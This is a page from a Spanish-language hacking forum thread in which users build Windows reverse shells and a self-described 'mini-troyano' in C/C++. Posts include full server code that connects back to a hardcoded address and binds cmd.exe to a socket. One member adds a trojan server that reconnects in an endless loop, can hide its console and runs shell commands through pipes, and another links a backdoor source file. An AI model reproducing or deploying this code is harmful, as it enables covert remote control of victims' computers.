Páginas: 1 [2]
|
 |
|
Autor
|
Tema: WSAsocket() contra socket() (Leído 1364 veces)
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
Hasta el 3.1 va todo perfecto, el problema está en el punto 3.2, la shell la tienes q lanzar en el servidor ya q lo que quieres hacer es tener una shell pero del otro pc, y si la lanzas en tu Pc va a funcionar, pero realmente exploras los discos y haces los cambios pertinentes en tu propio pc!!!! De nuevo te recomiendo que te leas esto: http://foro.elhacker.net/troyanos_y_virus/contribuciones_usuarios_hackernet-t146962.0.html;msg966885#msg966885Y entenderás bien el problema, a no ser q sea yo kien no entienda q es exactamente lo q preguntas, pero el flujo cliente-servidor que tienes que usar es el que te e puesto en "psudocodigo" en el anterior post. Lo que tu kieres es manipular una shell remotamente, no tiene sentido lanzarla en tu pc, es decir, en el cliente!!!
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola a todos,
EON Esta tarde te pongo el codigo para que veas de lo que estoy hablando y de si me estoy liando o no.
Un saludo y como siempre muchas gracias.
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Bueno pues ya he tenido un rato.
Te remito el codigo del cliente y el servidor.
CLIENTE: #include <stdio.h> #include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int main(int argc, char *argv[]) { WSADATA wsa; SOCKET sock; struct sockaddr_in adr; int len; char buffer[1024]; char salir[6] = "salir\n"; // Inicializamos WSAStartup(MAKEWORD(2,2), &wsa); // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL); // Direccionamos el sock adr.sin_family = AF_INET; adr.sin_addr.s_addr = INADDR_ANY; adr.sin_port = htons(5000); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento // Asociamos sock a direccion if (bind(sock, (SOCKADDR *)&adr, sizeof(SOCKADDR)) == -1){ printf("Error en el bind 1.\n2"); return -1; } if (listen(sock, 1) == -1){ printf("Error en el listen 1.\n2"); return -1; }
len = sizeof(struct sockaddr); sock = accept(sock, (struct sockaddr *)&adr, &len); // Solicitamos comando por consola una vez aceptada la comunicacion printf("Escribe el texto a enviar y salir para quit.\n"); while (len != -1 && strcmp(buffer, salir) != 0){ printf("Texto a enviar:"); fgets(buffer, 1023, stdin); len = send(sock, buffer, strlen(buffer), 0 ); if (strcmp(buffer, "shell\n") == 0) { // El servidor a creado un segundo socket en el mismo port // y ha lanzado un connect() para que lo reciba "nc" system("nc -vv -l -p 5000"); } } closesocket(sock); WSACleanup(); return 0; }
SERVIDOR:
#include <stdio.h> #include <winsock2.h> #include <conio.h> #pragma comment(lib, "ws2_32.lib")
int main(int argc, char *argv[]) { WSADATA wsa; SOCKET sock, sock2; struct sockaddr_in adr; int len, conex; char buffer[1024]; STARTUPINFO si; PROCESS_INFORMATION pi; // Inicializamos WSAStartup(MAKEWORD(2,0), &wsa); memset(&adr, 0, sizeof(adr)); memset(&si, 0, sizeof(si)); // Montamos socket con WSASocket() para que funcione la redireccion sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL); sock2 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL); // sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); adr.sin_family = AF_INET; adr.sin_addr.s_addr = inet_addr("10.1.12.86"); adr.sin_port = htons(5000); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento do { conex = connect(sock, (struct sockaddr *)&adr, sizeof(adr)); if (conex == -1){ printf("No se ha podido conectar\n"); // return -1; } } while (conex != -1); len = sizeof(struct sockaddr); printf("Conectado ...: \n"); while (len != 0){ //mientras estemos conectados len = recv(sock, buffer, 1023, 0); if (len > 0){ buffer[len] = 0; //le ponemos el final de cadena printf("Texto recibido: %s", buffer); if ( strcmp( buffer, "shell\n") == 0) { printf("Pulsa una tecla para lanzar sock2 ..."); getch(); // Creo el segundo socket y lo conecto adr.sin_family = AF_INET; adr.sin_addr.s_addr = inet_addr("10.1.12.86"); adr.sin_port = htons(5000); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento do { conex = connect(sock2, (struct sockaddr *)&adr, sizeof(adr)); if (conex == -1){ printf("No se ha podido conectar SOCK2\n"); } } while (conex != -1); // Preparo la struct STARTUPINFO para que se redireccionen // stdin, stdout y stderr al puntero del socket. Lanzo el proceso // "cmd" y como el "nc" hace lo que quiero saber, se ve en // el shell de cliente_nc. // Mi idea es dos funciones que lean y escriban al // sock redirecionado a las pipes en el cliente si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock2; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); ExitProcess(0); // Por que no sigue conectado sock?? El puerto ya lo he comprobado, // y con uno distinto pasa lo mismo. He leido por ahi, ocultar el // proceso con otro valor de si.dwFlags ?? } } if ( strcmp( buffer, "salir\n") == 0) { closesocket(sock); WSACleanup(); exit(1); } } closesocket(sock); closesocket(sock2); WSACleanup(); return 0; }
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola EON,
Como puedes ver quiero simular lo que hace "nc -vv -l -p 5000". Por eso te comento lo siguiente.
En el cliente:
Necesito un entorno (una ventana) para poder escribir y recibir los comandos que le mando al servidor. Por eso, creo que lo que debo hacer es: 1. Abrir una nueva shell. (Por cierto como puedo abrir otra ventana cmd independiente?). 2. A esa ventana redireccionarle su stdin y stdout al socket que conecta las dos apliaciones y de esta forma ya tendria la reverse shell.
Ahh el motivo de porque me gustaria abrir otra ventana es por que en el codigo real, cada vez que un server se conecta deberia de crearme una ventana nueva.
U saludo.
|
|
|
|
|
En línea
|
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
char salir[6] = "salir\n"; Ponle un 7 que falta el caracter de fin de cadena (es mas a mi con un 6 ni me compila...) 1. Abrir una nueva shell. (Por cierto como puedo abrir otra ventana cmd independiente?). Ni idea, pero ya q te pones podias hacer una interfaz con ventanas y eso, q para este programa es mucho más útil. A mi personalmente no me gusta mucho redirigir directamente los pipes por q si kieres meterle mas opciones al programa luego dificulta bastante. Yo tengo hecho un mini-troyano en C y VB y el metodo q uso es este: SERVER:#include <winsock2.h> #include <winsock2.h> #include <windows.h> #include <string> // INCLUDES PROPIAS #include "Módulos/funVarias.h" #include "Módulos/shell.h" #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock // FUNCIÓN MAIN () void main() { WSADATA wsa; SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex; char Buffer[1024]; int len; //ShowWindow(GetForegroundWindow(),SW_HIDE); // Para ocultar la consola for(;;) // Entramos en un bucle eterno, el corazón del server { //Inicializamos WSAStartup(MAKEWORD(2,2),&wsa); host=gethostbyname("localhost"); //creamos el socket sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==-1) return; direc.sin_family=AF_INET; direc.sin_port=htons(1234); direc.sin_addr = *((struct in_addr *)host->h_addr); memset(direc.sin_zero,0,8); //Intentamos establecer la conexión hasta que lo logremos conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); while (conex == -1) { Sleep(100); conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); } while (len!=0) //Mientras que permanezcamos conectados { len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie if (len>0) //Si seguimos conectados... { Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena std::string sBuffer(Buffer); // --> Para la shell remota if (Split(sBuffer, '|', 0) == "iniShell") { // Lanzamos la shell IniShell(); sBuffer = "leerShell"; // Para que se envien los primeros datos leidos } if (Split(sBuffer, '|', 0) == "escribirShell") { // Escribimos en el pipe EscribirPipe(Split(sBuffer, '|', 1) + "\n"); Sleep(100); sBuffer = "leerShell"; // Para que se envien los primeros datos leidos } if (Split(sBuffer, '|', 0) == "leerShell") { // Leemos la shell std::string rPipe; // La cadena que leemos del pipe std::string enviar; // La cadena que enviaremos rPipe = LeerPipe(); enviar = "leerShell|" + rPipe + "_-^FIN"; len = send(sock,enviar.c_str(),enviar.length(),0); } if (Split(sBuffer, '|', 0) == "cerrarShell") { // Destruimos la shell DestruirShell(); } } } } // Fin del for } En "Módulos/shell.h" tengo las 4 funciones q te e pasado antes y en "Módulos/funVarias.h" tengo definida la función Split q es esta: #include "funVarias.h" // LA FUNCIÓN SPLIT std::string Split (std::string cadena, char m, int numero) { int posicion; //Determina la posición del caracter por donde keremos partir std::string principal; //Cadenas donde guardaremos los trozos deseados std::string secundaria; secundaria = cadena; for (int n = 0; n <= numero; n++) { posicion = secundaria.find (m); principal = (secundaria.substr (0,posicion)); //Guardamos el primer trozo de cadena secundaria = (secundaria.substr (posicion + 1,secundaria.length ())); //Guardamos el resto de la cadena } return principal; //Devolvemos el trozo de cadena deseado, si no lo hemos encontrado se dvuelve la cadena entera } Los .h supongo q ya sabras hacerlos tu (o metelo todo apiñado en un cpp aunke lo desaconsejo...  ) El cliente lo tengo hecho en VB, pero te lo paso a C, sería algo así basandome en tu code: CLIENTE:#include <stdio.h> #include <winsock2.h> #include <iostream> #pragma comment(lib, "ws2_32.lib") int main(int argc, char *argv[]) { WSADATA wsa; SOCKET sock; struct sockaddr_in adr; int len; char buffer[1024]; char salir[7] = "salir\n"; int lenLlegada; char buffLlegada[1024]; // Inicializamos WSAStartup(MAKEWORD(2,2), &wsa); // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL); // Direccionamos el sock adr.sin_family = AF_INET; adr.sin_addr.s_addr = INADDR_ANY; adr.sin_port = htons(1234); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento // Asociamos sock a direccion if (bind(sock, (SOCKADDR *)&adr, sizeof(SOCKADDR)) == -1){ printf("Error en el bind 1.\n2"); return -1; } if (listen(sock, 1) == -1){ printf("Error en el listen 1.\n2"); return -1; } len = sizeof(struct sockaddr); sock = accept(sock, (struct sockaddr *)&adr, &len); // Solicitamos comando por consola una vez aceptada la comunicacion printf("Escribe el texto a enviar y salir para quit.\n"); while (strcmp(buffer, salir) != 0){ printf("Texto a enviar:"); fgets(buffer, 1023, stdin); len = send(sock, buffer, strlen(buffer), 0 ); Sleep (100); lenLlegada = recv(sock,buffLlegada,1023,0); if (lenLlegada != 0) { buffLlegada[lenLlegada]=0; std::cout << " LLEGADA SHELL:\n\n"; std::cout << buffLlegada; std::cout << "\n\n------------------------------\n\n\n\n"; } } closesocket(sock); WSACleanup(); return 0; } Si escribes en la onsola los comandos indicados te irá mostrando lo q kieres, de una forma muuuuy cutre por q lo e adaptado en 5 min, pero la idea se ve, ahora a mejorarlo  Por poner un ejemplo de la salida: Escribe el texto a enviar y salir para quit. Texto a enviar:iniShell| LLEGADA SHELL:
leerShell|Microsoft Windows XP [Versión 5.1.2600]_-^FIN
------------------------------
Texto a enviar:escribirShell|cd.. LLEGADA SHELL:
leerShell| (C) Copyright 1985-2001 Microsoft Corp.
H:\Documents and Settings\Jose\Escritorio\Remote Shell\Server>cd..
H:\Documents and Settings\Jose\Escritorio\Remote Shell> H:\Documents and Settings\Jose\Escritorio\Remote Shell>_-^FIN
------------------------------ Se entiende no? así puedes hacer lo q kieras para tu mini troyano, es hecharle imaginación nada más y no dependes ni del nc ni de nada, puro code  Salu2 PD - Para bucles eternos usa for(;;) q es mas depurado 
|
|
|
|
« Última modificación: 07 Mayo 2008, 17:13 por E0N »
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
OLE y OLE,
Bueno hola a todos,
EON, killo, revisando tu codigo creo que me has dado la idea de como redireccionar en el cliente la shell, joder, me faltan conocimientos de c++, como puedes ver yo programo en C y poco a poco la API maldita, je je je.
Pero te cuento,
si en el cliente consigo (es lo unico que no se y me voy a poner a googlear ahora mismo) abrir un nuevo cmd, pero en una ventana nueva, o como me has dicho lo manejo con ventanas (Segunda opcion:me voy a instalar el Visual C ver 6.0 que supongo que con el IDE me podre currar unas ventanas cutres), entonces podre tener un cmd escuchando nuevos servers (si quieres te cuento como?) y en la nueva ventana, shell, cmd, jejeje, lo que sea, montare la reverse shell.
De esta forma independizare la reverse shell de la escucha de mas de un server y con un nuevo thread podre enviarle comandos como tu haces.
La parte de codigo que me ha inspirado es algo tan simple que me da verguenza, jejejeje,
if (lenLlegada != 0) { buffLlegada[lenLlegada]=0; std::cout << " LLEGADA SHELL:\n\n"; std::cout << buffLlegada; std::cout << "\n\n------------------------------\n\n\n\n"; }.
Un tread para esto leyendo el sock y otro para enviar el texto redirecionado por stdout al sock. Las funciones que te comente antes.
Un cordial saludo.
|
|
|
|
|
En línea
|
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
Jajaja weno, a veces hay q ver algun code para inspirarse  Pues na, me alegro de q lo hayas solucionado por fin, ahora a currarse las ventanas, q tienes trabajo pa rato... Salu2 E0N
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Hola EON, Bueno acabo de descubrir un entorno para windows apoyado en Dev-Cpp y que el IDE es identico al de Visual Basic, ya que tu programaste el cliente en VB creo que esto te podra venir muy bien. Un saludo a todos. Ahh, el link es http://wxdsgn.sourceforge.net/
|
|
|
|
|
En línea
|
|
|
|
E0N
Lab &
Colaborador
Desconectado
Mensajes: 2.756
http://e0n-productions.blogspot.com/
|
A mi esos entornos no me hacen mucha gracia.. ese en particular (si no recuerdo mal) aumentaba un monton el peso del ejecutable final, eso si facilita las cosas Api powah  (weno y el editor de VC++ jajaja)
|
|
|
|
|
En línea
|
|
|
|
sch3m4
Colaborador
Desconectado
Mensajes: 1.538
Nihil est in intelectu quod prius not fuerit insen
|
Yibam, para lanzar una shell tienes dos opciones. 1) Crear el proceso (cmd.exe) indicándole como salida, entrada, y error el socket 2) Usar pipes que es lo que te ha dicho E0N Aunque con pipes es más fiable. Aquí te dejo un código que hice hace bastante tiempo que no usa pipes http://packetstormsecurity.org/trojans/Evil.Shell.Backdoor_1.0.5.c
|
|
|
|
|
En línea
|
|
|
|
Yibam
Desconectado
Mensajes: 51
|
Muchas gracias Lympex, le echare un vistazo.
Bueno, este fin de semana he matado algunas neuronas, o sea que VIVA LA NOCHE Y LAS COPAS, jejeje, pero entre hoy y mañana os pongo el codigo.
Al final, todo sale bien.
Gracias a todos.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: 1 [2]
|
|
|
|